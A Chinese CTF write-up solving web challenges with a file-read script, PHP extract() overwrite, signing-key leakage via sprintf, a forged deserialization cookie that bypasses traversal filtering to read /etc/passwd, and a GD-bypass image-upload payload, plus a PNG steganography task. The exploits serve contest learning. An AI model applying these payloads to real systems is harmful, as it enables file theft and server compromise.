这次比赛一共解出3题Web、1题Misc的流量分析和1个签到,总共拿到561分。 排名目前在224名。因为主办方现在还在ban掉作弊选手,所以还有上升空间(手动滑稽~)
Web解题思路 一、滴~ 靶机:http://117.51.150.246 知识点:任意文件读取、加解密、脑洞、extract变量覆盖
1、打开靶机
2、在URL中发现可能为任意文件读取,但是文件名被加密,然后我们先去解密 经过Base64解密–>Base64解密–>Base16解密 得到原目录名flag.jpg
3、构造index.php 1 2 3 4 5 6 7 8 9 10 11 import base64import requestsu = 'index.php' jpg = base64.b64encode(base64.b64encode("" .join("{:02x}" .format(ord(c)) for c in u).encode('utf-8' ))).decode('utf-8' ) r = requests.get('http://117.51.150.246/index.php' , params={'jpg' : jpg}) print(r.url) print(r.text)
运行后发现被base64加密过的数据,解密后得到index.php源代码 审计发现config会被转换成!,然后构造尝试多次无果。所以暂时放弃了。 后来继续又看了遍代码,在注释里面发现一个博客,浏览后发现此篇文章并没有什么用,但是在推荐里面发现一篇有用的文章
4、构造practice.txt.swp 1 2 3 4 5 6 7 8 9 10 11 12 import base64import requests u = 'practice.txt.swp' jpg = base64.b64encode(base64.b64encode("" .join("{:02x}" .format(ord(c)) for c in u).encode('utf-8' ))).decode('utf-8' ) r = requests.get('http://117.51.150.246/index.php' , params={'jpg' : jpg}) print(r.url) print(r.text)
运行后得到Base64加密过的数据,解密后得到
5、构造f1ag!ddctf.php 1 2 3 4 5 6 7 8 9 10 11 import base64import requestsu = 'f1agconfigddctf.php' jpg = base64.b64encode(base64.b64encode("" .join("{:02x}" .format(ord(c)) for c in u).encode('utf-8' ))).decode('utf-8' ) r = requests.get('http://117.51.150.246/index.php' , params={'jpg' : jpg}) print(r.url) print(r.text)
之前我们在index.php中可以通过审计代码得到config可以被替换为!所以我们在构造f1ag!ddctf.php时,注意把!替换为config 得到Base64加密过的数据,解密后得到 审计代码后发现可以利用extract变量覆盖 资料:http://www.w3school.com.cn/php/func_array_extract.asp 我们构造payload:http://117.51.150.246/f1ag!ddctf.php?uid=&k=1 最终得到flag
二、WEB签到题 靶机:http://117.51.158.44/index.php 知识点:php代码审计、文本格式化、php反序列化
1、查看js, didictf_username
2、Burpsuite抓包,修改didictf_username为admin,得到目录
3、访问app/fL2XID2i0Cdh.php,得到源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 url:app/Application.php Class Application { var $path = '' ; public function response ($data, $errMsg = 'success' ) { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json' ); echo $ret; } public function auth () { $DIDICTF_ADMIN = 'admin' ; if (!empty ($_SERVER['HTTP_DIDICTF_USERNAME' ]) && $_SERVER['HTTP_DIDICTF_USERNAME' ] == $DIDICTF_ADMIN) { $this ->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php' ); return TRUE ; }else { $this ->response('抱歉,您没有登陆权限,请获取权限后访问-----' ,'error' ); exit (); } } private function sanitizepath ($path) { $path = trim($path); $path=str_replace('../' ,'' ,$path); $path=str_replace('..\\' ,'' ,$path); return $path; } public function __destruct () { if (empty ($this ->path)) { exit (); }else { $path = $this ->sanitizepath($this ->path); if (strlen($path) !== 18 ) { exit (); } $this ->response($data=file_get_contents($path),'Congratulations' ); } exit (); } } url:app/Session.php include 'Application.php' ;class Session extends Application { var $eancrykey = '' ; var $cookie_expiration = 7200 ; var $cookie_name = 'ddctf_id' ; var $cookie_path = '' ; var $cookie_domain = '' ; var $cookie_secure = FALSE ; var $activity = "DiDiCTF" ; public function index () { if (parent ::auth()) { $this ->get_key(); if ($this ->session_read()) { $data = 'DiDI Welcome you %s' ; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT' ]); parent ::response($data,'sucess' ); }else { $this ->session_create(); $data = 'DiDI Welcome you' ; parent ::response($data,'sucess' ); } } } private function get_key () { $this ->eancrykey = file_get_contents('../config/key.txt' ); } public function session_read () { if (empty ($_COOKIE)) { return FALSE ; } $session = $_COOKIE[$this ->cookie_name]; if (!isset ($session)) { parent ::response("session not found" ,'error' ); return FALSE ; } $hash = substr($session,strlen($session)-32 ); $session = substr($session,0 ,strlen($session)-32 ); if ($hash !== md5($this ->eancrykey.$session)) { parent ::response("the cookie data not match" ,'error' ); return FALSE ; } $session = unserialize($session); if (!is_array($session) OR !isset ($session['session_id' ]) OR !isset ($session['ip_address' ]) OR !isset ($session['user_agent' ])){ return FALSE ; } if (!empty ($_POST["nickname" ])) { $arr = array ($_POST["nickname" ],$this ->eancrykey); $data = "Welcome my friend %s" ; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent ::response($data,"Welcome" ); } if ($session['ip_address' ] != $_SERVER['REMOTE_ADDR' ]) { parent ::response('the ip addree not match' .'error' ); return FALSE ; } if ($session['user_agent' ] != $_SERVER['HTTP_USER_AGENT' ]) { parent ::response('the user agent not match' ,'error' ); return FALSE ; } return TRUE ; } private function session_create () { $sessionid = '' ; while (strlen($sessionid) < 32 ) { $sessionid .= mt_rand(0 ,mt_getrandmax()); } $userdata = array ( 'session_id' => md5(uniqid($sessionid,TRUE )), 'ip_address' => $_SERVER['REMOTE_ADDR' ], 'user_agent' => $_SERVER['HTTP_USER_AGENT' ], 'user_data' => '' , ); $cookiedata = serialize($userdata); $cookiedata = $cookiedata.md5($this ->eancrykey.$cookiedata); $expire = $this ->cookie_expiration + time(); setcookie( $this ->cookie_name, $cookiedata, $expire, $this ->cookie_path, $this ->cookie_domain, $this ->cookie_secure ); } } $ddctf = new Session(); $ddctf->index();
分析源码,在109行看到危险函数unserialize,44行file_get_contents 到这里大致可以猜到解题流程 session反序列化–>创建Application对象–>控制/path–>获取flag
4、分析代码 从上可以知道签名规则md5(eancrykey+session),所以我们只有得到eancrykey+session才能控制cookie。 分析eancrykey出现地点,得到如下两处 由于不存在文件读取漏洞所以第一处暂时不可用,但是第二处可获取eancrykey 审计第二处发现sprintf函数,查阅用法:http://www.w3school.com.cn/php/func_string_sprintf.asp 构造payload: 成功得到key
5、构造session 分析Application 发现代码有双层防护,保证path安全。 sanitizepath可以使用双写绕过
再看限制字符为18。 此时尝试读取/etc/passwd。计算其长度,为10。此时我们可以构造如下:1 2 3 4 Payload:/etc/../etc/passwd 双写后:/etc/..././etc/passwd 序列化后:O:11:"Application" :1:{s:4:"path" ;s:21:"/etc/..././etc/passwd" ;} 按规则签名后:O%3a11%3a"Application" %3a1%3a{s%3a4%3a"path" %3bs%3a21%3a"/etc/..././etc/passwd" %3b}75c51ff78b04d77138ca58f797dedc0a;
此时我们读取了/etc/passwd 最终在 ../config/flag.txt读到flag
三、Upload-IMG 靶机:http://117.51.148.166/upload.php 知识点:GD库渲染绕过
1、上传文件 首先随便上传一张jpg图片 然后把上传成功的图片下载到本地
2、文件对比 利用在线图片对比:http://www.newjson.com/Static/Tools/Diff.html 然后发现文件被调用GD库渲染过了,所以我们来绕过GD库
3、生成payload并上传 我们直接使用大牛的Payload脚本:https://github.com/Medicean/VulApps/blob/master/c/cmseasy/1/jpg_payload.php
4、Get Flag
Misc解题思路 一、Wireshark
1、下载文件 用Wireshark打开,然后我们直接先导出http对象到本地
2、文件分析 我们首先用notepade打开%5c(1),发现他是一张png图片,然后把png头文件格式之前全部删除,保存之后修改后缀为.png 打开后根据经验判断,图片高度应该被修改过了,我们把图片高度稍微调高一点,得到key 然后我们继续用notepade打开%5c(4),发现也是一张png图片,然后把png头文件格式之前全部删除,保存之后修改后缀为.png 到这里基本就能猜到是图片加密隐藏信息 当然如果猜不出我们也可以从这里看出加密的网址
3、图片解密 在线图片添加/解密隐藏信息(隐写术)工具:http://tools.jb51.net/aideddesign/img_add_info